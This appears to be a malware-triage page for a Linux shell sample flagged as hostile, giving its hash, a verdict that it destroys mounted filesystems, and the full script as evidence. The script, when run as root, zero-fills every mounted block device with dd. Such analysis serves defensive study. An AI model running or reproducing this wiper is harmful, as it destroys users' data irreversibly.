Hostile 92% linux Download

04-linux-for-loop.sh

Destroys mounted filesystems

Root-gated loop zero-fills mounted block devicesShell command-substitution syntax
SHA-256cd7186a0c1946927ba157847b5b520e921abe609a843ab91452882737dddf407

Evidence

Grep /proc/mounts for /dev paths lines 1–7
1#!/bin/bash
2if [[ "${UID}" == 0 ]]; then
3 for d in $(grep -E "^/dev" /proc/mounts | cut -d" " -f1 | sort -u); do
4 dd if=/dev/zero of="$d" bs=1M &
5 done
6 wait
7fi

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.